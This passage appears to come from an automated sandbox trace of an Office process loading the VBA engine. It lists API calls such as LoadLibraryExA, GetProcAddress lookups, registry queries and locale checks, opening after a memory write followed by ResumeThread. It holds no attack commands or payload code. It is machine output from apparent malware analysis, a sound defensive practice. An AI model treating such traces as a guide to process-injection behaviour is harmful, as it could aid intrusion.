[345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x2, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x78, [445]=0x3c, [446]=0x87, [447]=0xfd, [448]=0xfe, [449]=0x7, [450]=0x0, [451]=0x0, [452]=0x2, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x2c, [461]=0x13, [462]=0x68, [463]=0xfd, [464]=0xfe, [465]=0x7, [466]=0x0, [467]=0x0, [468]=0xa0, [469]=0xc8, [470]=0xed, [471]=0x4, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0xa5, [485]=0x6, [486]=0xe3, [487]=0xf1, [488]=0xc0, [489]=0x1a, [490]=0x0, [491]=0x0, [492]=0x90, [493]=0x77, [494]=0xf0, [495]=0x4, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x26, [509]=0x3c, [510]=0x87, [511]=0xfd))) returned 1 [0018.609] ResumeThread (hThread=0x638) returned 0x1 Thread: id = 3 os_tid = 0x984 Thread: id = 4 os_tid = 0x980 Thread: id = 5 os_tid = 0x97c Thread: id = 6 os_tid = 0x978 Thread: id = 7 os_tid = 0x958 Thread: id = 8 os_tid = 0x954 Thread: id = 9 os_tid = 0x94c Thread: id = 10 os_tid = 0x948 Thread: id = 11 os_tid = 0x944 Thread: id = 12 os_tid = 0x938 [0017.007] LoadCursorA (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007 [0017.007] SetCursor (hCursor=0x10007) returned 0x10007 [0017.007] _set_invalid_parameter_handler (_Handler=0x7fef3f112c0) returned 0x0 [0017.007] wcscpy_s (in: _Destination=0x2b2c0b8, _SizeInWords=0xb, _Source="7.1\\" | out: _Destination="7.1\\") returned 0x0 [0017.007] GetACP () returned 0x4e4 [0017.011] SysStringLen (param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL") returned 0x43 [0017.011] SysStringLen (param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL") returned 0x43 [0017.011] lstrcpyW (in: lpString1=0x265490, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL" [0017.011] GetModuleHandleA (lpModuleName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL") returned 0x0 [0017.053] LoadLibraryExA (lpLibFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL", hFile=0x0, dwFlags=0x8) returned 0x7fee8a00000 [0017.094] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1000b5e600000153) returned 1 [0017.094] GetLastError () returned 0x0 [0017.094] GetProcAddress (hModule=0x7fee8a00000, lpProcName="MsoVBADigSigCallDlg") returned 0x7fee8b0d128 [0017.094] GetProcAddress (hModule=0x7fee8a00000, lpProcName="MsoVbaInitSecurity") returned 0x7fee8a7a204 [0017.095] GetProcAddress (hModule=0x7fee8a00000, lpProcName="MsoFIEPolicyAndVersion") returned 0x7fee8a224b8 [0017.095] GetProcAddress (hModule=0x7fee8a00000, lpProcName="MsoFAnsiCodePageSupportsLCID") returned 0x7fee8a7a09c [0017.095] GetProcAddress (hModule=0x7fee8a00000, lpProcName="MsoFInitOffice") returned 0x7fee8a1f98c [0017.095] GetProcAddress (hModule=0x7fee8a00000, lpProcName="MsoUninitOffice") returned 0x7fee8a0ec34 [0017.095] GetProcAddress (hModule=0x7fee8a00000, lpProcName="MsoFGetFontSettings") returned 0x7fee8a03fac [0017.096] GetProcAddress (hModule=0x7fee8a00000, lpProcName="MsoRgchToRgwch") returned 0x7fee8a12878 [0017.096] GetProcAddress (hModule=0x7fee8a00000, lpProcName="MsoHrSimpleQueryInterface") returned 0x7fee8a07a5c [0017.096] GetProcAddress (hModule=0x7fee8a00000, lpProcName="MsoHrSimpleQueryInterface2") returned 0x7fee8a079d4 [0017.096] GetProcAddress (hModule=0x7fee8a00000, lpProcName="MsoFCreateControl") returned 0x7fee8a0870c [0017.096] GetProcAddress (hModule=0x7fee8a00000, lpProcName="MsoFLongLoad") returned 0x7fee8b4cb78 [0017.097] GetProcAddress (hModule=0x7fee8a00000, lpProcName="MsoFLongSave") returned 0x7fee8b4cb9c [0017.097] GetProcAddress (hModule=0x7fee8a00000, lpProcName="MsoFGetTooltips") returned 0x7fee8a123e0 [0017.097] GetProcAddress (hModule=0x7fee8a00000, lpProcName="MsoFSetTooltips") returned 0x7fee8a7a49c [0017.097] GetProcAddress (hModule=0x7fee8a00000, lpProcName="MsoFLoadToolbarSet") returned 0x7fee8a67d64 [0017.097] GetProcAddress (hModule=0x7fee8a00000, lpProcName="MsoFCreateToolbarSet") returned 0x7fee8a055d0 [0017.098] GetProcAddress (hModule=0x7fee8a00000, lpProcName="MsoHpalOffice") returned 0x7fee8a105e0 [0017.098] GetProcAddress (hModule=0x7fee8a00000, lpProcName="MsoFWndProcNeeded") returned 0x7fee8a03cd4 [0017.098] GetProcAddress (hModule=0x7fee8a00000, lpProcName="MsoFWndProc") returned 0x7fee8a06c80 [0017.098] GetProcAddress (hModule=0x7fee8a00000, lpProcName="MsoFCreateITFCHwnd") returned 0x7fee8a03d08 [0017.098] GetProcAddress (hModule=0x7fee8a00000, lpProcName="MsoDestroyITFC") returned 0x7fee8a0eaa0 [0017.099] GetProcAddress (hModule=0x7fee8a00000, lpProcName="MsoFPitbsFromHwndAndMsg") returned 0x7fee8a0e064 [0017.099] GetProcAddress (hModule=0x7fee8a00000, lpProcName="MsoFGetComponentManager") returned 0x7fee8a07af0 [0017.099] GetProcAddress (hModule=0x7fee8a00000, lpProcName="MsoMultiByteToWideChar") returned 0x7fee8a1005c [0017.099] GetProcAddress (hModule=0x7fee8a00000, lpProcName="MsoWideCharToMultiByte") returned 0x7fee8a08b00 [0017.099] GetProcAddress (hModule=0x7fee8a00000, lpProcName="MsoHrRegisterAll") returned 0x7fee8b0cb04 [0017.100] GetProcAddress (hModule=0x7fee8a00000, lpProcName="MsoFSetComponentManager") returned 0x7fee8a147c4 [0017.100] GetProcAddress (hModule=0x7fee8a00000, lpProcName="MsoFCreateStdComponentManager") returned 0x7fee8a03e0c [0017.100] GetProcAddress (hModule=0x7fee8a00000, lpProcName="MsoFHandledMessageNeeded") returned 0x7fee8a0ab58 [0017.100] GetProcAddress (hModule=0x7fee8a00000, lpProcName="MsoPeekMessage") returned 0x7fee8a0a820 [0017.100] GetProcAddress (hModule=0x7fee8a00000, lpProcName="MsoFCreateIPref") returned 0x7fee8a015ac [0017.100] GetProcAddress (hModule=0x7fee8a00000, lpProcName="MsoDestroyIPref") returned 0x7fee8a0ebfc [0017.101] GetProcAddress (hModule=0x7fee8a00000, lpProcName="MsoChsFromLid") returned 0x7fee8a01414 [0017.101] GetProcAddress (hModule=0x7fee8a00000, lpProcName="MsoCpgFromChs") returned 0x7fee8a065d4 [0017.101] GetProcAddress (hModule=0x7fee8a00000, lpProcName="MsoSetLocale") returned 0x7fee8a01554 [0017.101] GetProcAddress (hModule=0x7fee8a00000, lpProcName="MsoFSetHMsoinstOfSdm") returned 0x7fee8a03dbc [0017.101] GetProcAddress (hModule=0x7fee8a00000, lpProcName="MsoSetVbaInterfaces") returned 0x7fee8b0d23c [0017.102] GetProcAddress (hModule=0x7fee8a00000, lpProcName="MsoGetControlInstanceId") returned 0x7fee8ad733c [0017.102] RegisterClipboardFormatA (lpszFormat="VBM_FHwndIsHctl") returned 0xc193 [0017.102] lstrlenA (lpString="") returned 0 [0017.102] lstrcpyA (in: lpString1=0x1c4c990, lpString2="" | out: lpString1="") returned="" [0017.102] GetEnvironmentVariableA (in: lpName="DDRYBUR", lpBuffer=0x265470, nSize=0x118 | out: lpBuffer=" ") returned 0x0 [0017.102] SetErrorMode (uMode=0x8001) returned 0x8001 [0017.102] GetModuleFileNameA (in: hModule=0x7fef3f10000, lpFilename=0x265180, nSize=0x104 | out: lpFilename="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\progra~1\\common~1\\micros~1\\vba\\vba7.1\\vbe7.dll")) returned 0x31 [0017.103] lstrcpyA (in: lpString1=0x265070, lpString2="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\" | out: lpString1="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\") returned="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\" [0017.103] lstrcpyA (in: lpString1=0x265070, lpString2="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\" | out: lpString1="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\") returned="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\" [0017.103] lstrcpyA (in: lpString1=0x265070, lpString2="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\" | out: lpString1="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\") returned="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\" [0017.103] lstrcpyA (in: lpString1=0x265070, lpString2="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\" | out: lpString1="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\") returned="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\" [0017.103] lstrcpyA (in: lpString1=0x265070, lpString2="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\" | out: lpString1="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\") returned="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\" [0017.103] lstrcpyA (in: lpString1=0x265070, lpString2="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\" | out: lpString1="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\") returned="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\" [0017.103] strcpy_s (in: _Dst=0x265290, _DstSize=0x200, _Src="VBE7INTL.DLL" | out: _Dst="VBE7INTL.DLL") returned 0x0 [0017.103] _ultoa_s (in: _Val=0x409, _DstBuf=0x264df0, _Size=0x6, _Radix=10 | out: _DstBuf="1033") returned 0x0 [0017.103] strcat_s (in: _Destination="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\", _SizeInBytes=0x104, _Source="1033" | out: _Destination="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\1033") returned 0x0 [0017.103] strcat_s (in: _Destination="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\1033", _SizeInBytes=0x104, _Source="\\" | out: _Destination="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\1033\\") returned 0x0 [0017.103] strcat_s (in: _Destination="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\1033\\", _SizeInBytes=0x104, _Source="VBE7INTL.DLL" | out: _Destination="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL") returned 0x0 [0017.103] lstrlenA (lpString="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL") returned 58 [0017.103] CharToOemBuffA (in: lpszSrc="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL", lpszDst=0x264ca0, cchDstLength=0x3b | out: lpszDst="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL") returned 1 [0017.103] _access_s (_FileName="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL", _AccessMode=0) returned 0x0 [0017.104] strcpy_s (in: _Dst=0x264f20, _DstSize=0x104, _Src="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL" | out: _Dst="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL") returned 0x0 [0017.105] GetSystemDefaultLCID () returned 0x409 [0017.105] GetUserDefaultLCID () returned 0x409 [0017.105] GetLocaleInfoA (in: Locale=0x400, LCType=0xe, lpLCData=0x2655b0, cchData=2 | out: lpLCData=".") returned 2 [0017.105] GetStockObject (i=13) returned 0x18a002e [0017.105] GetObjectA (in: h=0x18a002e, c=60, pv=0x265550 | out: pv=0x265550) returned 60 [0017.105] lstrcpyA (in: lpString1=0x7fef42069f0, lpString2="Vbui6.chm" | out: lpString1="Vbui6.chm") returned="Vbui6.chm" [0017.105] lstrcpyA (in: lpString1=0x7fef4203de0, lpString2="VbLR6.chm" | out: lpString1="VbLR6.chm") returned="VbLR6.chm" [0017.105] GetModuleFileNameA (in: hModule=0x7fef3f10000, lpFilename=0x2655f0, nSize=0x104 | out: lpFilename="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\progra~1\\common~1\\micros~1\\vba\\vba7.1\\vbe7.dll")) returned 0x31 [0017.105] lstrlenA (lpString="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL") returned 49 [0017.105] lstrcpyA (in: lpString1=0x16b890, lpString2="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL" | out: lpString1="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL") returned="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL" [0017.105] GetCurrentDirectoryA (in: nBufferLength=0x104, lpBuffer=0x265480 | out: lpBuffer="C:\\Users\\aDU0VK IWA5kLS\\Desktop") returned 0x1f [0017.105] GetVersionExA (in: lpVersionInformation=0x2654e0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x1, dwBuildNumber=0x0, dwPlatformId=0x32, szCSDVersion="") | out: lpVersionInformation=0x2654e0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0017.105] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="Licenses", phkResult=0x265408 | out: phkResult=0x265408*=0x5a6) returned 0x0 [0017.106] strcpy_s (in: _Dst=0x265410, _DstSize=0x80, _Src="8804558B-B773-11d1-BC3E-0000F87552E7" | out: _Dst="8804558B-B773-11d1-BC3E-0000F87552E7") returned 0x0 [0017.106] strcpy_s (in: _Dst=0x265490, _DstSize=0xc8, _Src="8804558B-B773-11d1-BC3E-0000F87552E7" | out: _Dst="8804558B-B773-11d1-BC3E-0000F87552E7") returned 0x0 [0017.106] _strrev (in: _Str="8804558B-B773-11d1-BC3E-0000F87552E7" | out: _Str="7E25578F0000-E3CB-1d11-377B-B8554088") returned="7E25578F0000-E3CB-1d11-377B-B8554088" [0017.106] RegQueryValueA (in: hKey=0x5a6, lpSubKey="8804558B-B773-11d1-BC3E-0000F87552E7", lpData=0x265490, lpcbData=0x265400 | out: lpData="\x0f}\x02\x01", lpcbData=0x265400) returned 0x2 [0017.106] RegCloseKey (hKey=0x5a6) returned 0x0 [0017.106] OleInitialize (pvReserved=0x0) returned 0x1 [0017.106] OaBuildVersion () returned 0x321396 [0017.106] GetLastError () returned 0x0 [0017.113] GetProcAddress (hModule=0x7feff5d0000, lpProcName="SysFreeString") returned 0x7feff5d1320 [0017.113] GetProcAddress (hModule=0x7feff5d0000, lpProcName="LoadTypeLib") returned 0x7feff5df1e0 [0017.113] GetProcAddress (hModule=0x7feff5d0000, lpProcName="RegisterTypeLib") returned 0x7feff62caa0 [0017.113] GetProcAddress (hModule=0x7feff5d0000, lpProcName="QueryPathOfRegTypeLib") returned 0x7feff661760 [0017.114] GetProcAddress (hModule=0x7feff5d0000, lpProcName="UnRegisterTypeLib") returned 0x7feff6620d0 [0017.114] GetProcAddress (hModule=0x7feff5d0000, lpProcName="OleTranslateColor") returned 0x7feff5fc760 [0017.114] GetProcAddress (hModule=0x7feff5d0000, lpProcName="OleCreateFontIndirect") returned 0x7feff62ecd0 [0017.114] GetProcAddress (hModule=0x7feff5d0000, lpProcName="OleCreatePictureIndirect") returned 0x7feff62e840 [0017.114] GetProcAddress (hModule=0x7feff5d0000, lpProcName="OleLoadPicture") returned 0x7feff63f420 [0017.115] GetProcAddress (hModule=0x7feff5d0000, lpProcName="OleCreatePropertyFrameIndirect") returned 0x7feff634ec0 [0017.115] GetProcAddress (hModule=0x7feff5d0000, lpProcName="OleCreatePropertyFrame") returned 0x7feff639350 [0017.115] GetProcAddress (hModule=0x7feff5d0000, lpProcName="OleIconToCursor") returned 0x7feff606e40 [0017.115] GetProcAddress (hModule=0x7feff5d0000, lpProcName="LoadTypeLibEx") returned 0x7feff5da550 [0017.115] GetProcAddress (hModule=0x7feff5d0000, lpProcName="OleLoadPictureEx") returned 0x7feff63f320 [0017.115] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0017.115] LoadCursorA (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007 [0017.115] GetClassInfoA (in: hInstance=0x7fef3f10000, lpClassName="VBBubble", lpWndClass=0x265540 | out: lpWndClass=0x265540) returned 0 [0017.116] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Count") returned 0x107630 [0017.116] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_Default") returned 0x10c26a [0017.116] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Item") returned 0x107ad7 [0017.116] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Add") returned 0x1072f7 [0017.116] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Remove") returned 0x10b1cf [0017.116] GlobalAddAtomA (lpString="VBDisabled") returned 0x24550304c133 [0017.117] GetVersionExA (in: lpVersionInformation=0x265470*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x265470*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0017.117] GetModuleHandleA (lpModuleName="USER32") returned 0x77440000 [0017.117] GetProcAddress (hModule=0x77440000, lpProcName="GetSystemMetrics") returned 0x774594f0 [0017.118] GetProcAddress (hModule=0x77440000, lpProcName="MonitorFromWindow") returned 0x77455f08 [0017.118] GetProcAddress (hModule=0x77440000, lpProcName="MonitorFromRect") returned 0x77452b00 [0017.118] GetProcAddress (hModule=0x77440000, lpProcName="MonitorFromPoint") returned 0x7744ab64 [0017.118] GetProcAddress (hModule=0x77440000, lpProcName="EnumDisplayMonitors") returned 0x77455c30 [0017.118] GetProcAddress (hModule=0x77440000, lpProcName="GetMonitorInfoA") returned 0x7744a730 [0017.118] GetProcAddress (hModule=0x77440000, lpProcName="EnumDisplayDevicesA") returned 0x7744a5b4 [0017.119] MonitorFromWindow (hwnd=0x10212, dwFlags=0x2) returned 0x10001 [0017.119] GetMonitorInfoA (in: hMonitor=0x10001, lpmi=0x265660 | out: lpmi=0x265660) returned 1 [0017.119] SetWindowPos (hWnd=0x10212, hWndInsertAfter=0x0, X=720, Y=450, cx=0, cy=0, uFlags=0x1d) returned 1 [0017.119] GetWindowThreadProcessId (in: hWnd=0x10212, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x938 [0017.119] GetVersion () returned 0x1db10106 [0017.119] GetModuleHandleA (lpModuleName="oleaut32.dll") returned 0x7feff5d0000 [0017.119] GetProcAddress (hModule=0x7feff5d0000, lpProcName="DispCallFunc") returned 0x7feff5d2270 [0017.119] GetProcAddress (hModule=0x7feff5d0000, lpProcName="LoadTypeLibEx") returned 0x7feff5da550 [0017.120] GetProcAddress (hModule=0x7feff5d0000, lpProcName="UnRegisterTypeLib") returned 0x7feff6620d0 [0017.120] GetProcAddress (hModule=0x7feff5d0000, lpProcName="CreateTypeLib2") returned 0x7feff65dbd0 [0017.120] GetProcAddress (hModule=0x7feff5d0000, lpProcName="VarDateFromUdate") returned 0x7feff5d5c90 [0017.120] GetProcAddress (hModule=0x7feff5d0000, lpProcName="VarUdateFromDate") returned 0x7feff5d6330 [0017.120] GetProcAddress (hModule=0x7feff5d0000, lpProcName="GetAltMonthNames") returned 0x7feff5f66c0 [0017.120] GetProcAddress (hModule=0x7feff5d0000, lpProcName="VarNumFromParseNum") returned 0x7feff5d4710 [0017.121] GetProcAddress (hModule=0x7feff5d0000, lpProcName="VarParseNumFromStr") returned 0x7feff5d48f0 [0017.121] GetProcAddress (hModule=0x7feff5d0000, lpProcName="VarDecFromR4") returned 0x7feff60b640 [0017.121] GetProcAddress (hModule=0x7feff5d0000, lpProcName="VarDecFromR8") returned 0x7feff60b360 [0017.121] GetProcAddress (hModule=0x7feff5d0000, lpProcName="VarDecFromDate") returned 0x7feff612640 [0017.121] GetProcAddress (hModule=0x7feff5d0000, lpProcName="VarDecFromI4") returned 0x7feff5f58a0 [0017.122] GetProcAddress (hModule=0x7feff5d0000, lpProcName="VarDecFromCy") returned 0x7feff5f5820 [0017.122] GetProcAddress (hModule=0x7feff5d0000, lpProcName="VarR4FromDec") returned 0x7feff60af20 [0017.122] GetProcAddress (hModule=0x7feff5d0000, lpProcName="GetRecordInfoFromTypeInfo") returned 0x7feff62a0c0 [0017.122] GetProcAddress (hModule=0x7feff5d0000, lpProcName="GetRecordInfoFromGuids") returned 0x7feff662160 [0017.122] GetProcAddress (hModule=0x7feff5d0000, lpProcName="SafeArrayGetRecordInfo") returned 0x7feff5f5af0 [0017.123] GetProcAddress (hModule=0x7feff5d0000, lpProcName="SafeArraySetRecordInfo") returned 0x7feff5f5a90 [0017.123] GetProcAddress (hModule=0x7feff5d0000, lpProcName="SafeArrayGetIID") returned 0x7feff5f5a60 [0017.123] GetProcAddress (hModule=0x7feff5d0000, lpProcName="SafeArraySetIID") returned 0x7feff5f5a30 [0017.123] GetProcAddress (hModule=0x7feff5d0000, lpProcName="SafeArrayCopyData") returned 0x7feff5d60b0 [0017.123] GetProcAddress (hModule=0x7feff5d0000, lpProcName="SafeArrayAllocDescriptorEx") returned 0x7feff5d3e90 [0017.123] GetProcAddress (hModule=0x7feff5d0000, lpProcName="SafeArrayCreateEx") returned 0x7feff629f80 [0017.124] GetProcAddress (hModule=0x7feff5d0000, lpProcName="VarFormat") returned 0x7feff659b20 [0017.124] GetProcAddress (hModule=0x7feff5d0000, lpProcName="VarFormatDateTime") returned 0x7feff659aa0 [0017.124] GetProcAddress (hModule=0x7feff5d0000, lpProcName="VarFormatNumber") returned 0x7feff659990 [0017.124] GetProcAddress (hModule=0x7feff5d0000, lpProcName="VarFormatPercent") returned 0x7feff659890 [0017.124] GetProcAddress (hModule=0x7feff5d0000, lpProcName="VarFormatCurrency") returned 0x7feff659770 [0017.125] GetProcAddress (hModule=0x7feff5d0000, lpProcName="VarWeekdayName") returned 0x7feff63b8d0 [0017.125] GetProcAddress (hModule=0x7feff5d0000, lpProcName="VarMonthName") returned 0x7feff63b800 [0017.125] GetProcAddress (hModule=0x7feff5d0000, lpProcName="VarAdd") returned 0x7feff6548e0 [0017.125] GetProcAddress (hModule=0x7feff5d0000, lpProcName="VarAnd") returned 0x7feff659470 [0017.125] GetProcAddress (hModule=0x7feff5d0000, lpProcName="VarCat") returned 0x7feff6596a0 [0017.125] GetProcAddress (hModule=0x7feff5d0000, lpProcName="VarDiv") returned 0x7feff652fe0 [0017.126] GetProcAddress (hModule=0x7feff5d0000, lpProcName="VarEqv") returned 0x7feff659cf0 [0017.126] GetProcAddress (hModule=0x7feff5d0000, lpProcName="VarIdiv") returned 0x7feff658ff0 [0017.126] GetProcAddress (hModule=0x7feff5d0000, lpProcName="VarImp") returned 0x7feff659c00 [0017.126] GetProcAddress (hModule=0x7feff5d0000, lpProcName="VarMod") returned 0x7feff658e60 [0017.126] GetProcAddress (hModule=0x7feff5d0000, lpProcName="VarMul") returned 0x7feff653690 [0017.127] GetProcAddress (hModule=0x7feff5d0000, lpProcName="VarOr") returned 0x7feff6592d0 [0017.127] GetProcAddress (hModule=0x7feff5d0000, lpProcName="VarPow") returned 0x7feff652e80 [0017.127] GetProcAddress (hModule=0x7feff5d0000, lpProcName="VarSub") returned 0x7feff653f90 [0017.127] GetProcAddress (hModule=0x7feff5d0000, lpProcName="VarXor") returned 0x7feff6591a0 [0017.127] GetProcAddress (hModule=0x7feff5d0000, lpProcName="VarAbs") returned 0x7feff637c30 [0017.127] GetProcAddress (hModule=0x7feff5d0000, lpProcName="VarFix") returned 0x7feff637a60 [0017.128] GetProcAddress (hModule=0x7feff5d0000, lpProcName="VarInt") returned 0x7feff637890 [0017.128] GetProcAddress (hModule=0x7feff5d0000, lpProcName="VarNeg") returned 0x7feff637ea0 [0017.128] GetProcAddress (hModule=0x7feff5d0000, lpProcName="VarNot") returned 0x7feff659600 [0017.128] GetProcAddress (hModule=0x7feff5d0000, lpProcName="VarRound") returned 0x7feff6376a0 [0017.128] GetProcAddress (hModule=0x7feff5d0000, lpProcName="VarCmp") returned 0x7feff6583f0 [0017.129] GetProcAddress (hModule=0x7feff5d0000, lpProcName="VarDecAdd") returned 0x7feff603070 [0017.129] GetProcAddress (hModule=0x7feff5d0000, lpProcName="VarDecCmp") returned 0x7feff60d700 [0017.129] GetProcAddress (hModule=0x7feff5d0000, lpProcName="VarBstrCat") returned 0x7feff60d890 [0017.129] GetProcAddress (hModule=0x7feff5d0000, lpProcName="VarCyMulI4") returned 0x7feff5ecaf0 [0017.129] GetProcAddress (hModule=0x7feff5d0000, lpProcName="VarBstrCmp") returned 0x7feff5f8a00 [0017.129] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x7fefede0000 [0017.130] GetProcAddress (hModule=0x7fefede0000, lpProcName="CoCreateInstanceEx") returned 0x7fefedede90 [0017.130] GetProcAddress (hModule=0x7fefede0000, lpProcName="CLSIDFromProgIDEx") returned 0x7fefedfa4c4 [0017.130] GetSystemMetrics (nIndex=42) returned 0 [0017.130] CoGetMalloc (in: dwMemContext=0x1, ppMalloc=0x7fef41ff570 | out: ppMalloc=0x7fef41ff570*=0x7fefefb5380) returned 0x0 [0017.130] GetUserDefaultLCID () returned 0x409 [0017.130] IsValidCodePage (CodePage=0x3a4) returned 1 [0017.131] IsValidCodePage (CodePage=0x3b5) returned 1 [0017.132] IsValidCodePage (CodePage=0x3b6) returned 1 [0017.132] IsValidCodePage (CodePage=0x3a8) returned 1 [0017.133] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="぀Ǜ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.133] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぁǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.133] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="あǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.133] LCMapStringW (in: Locale=0x411, 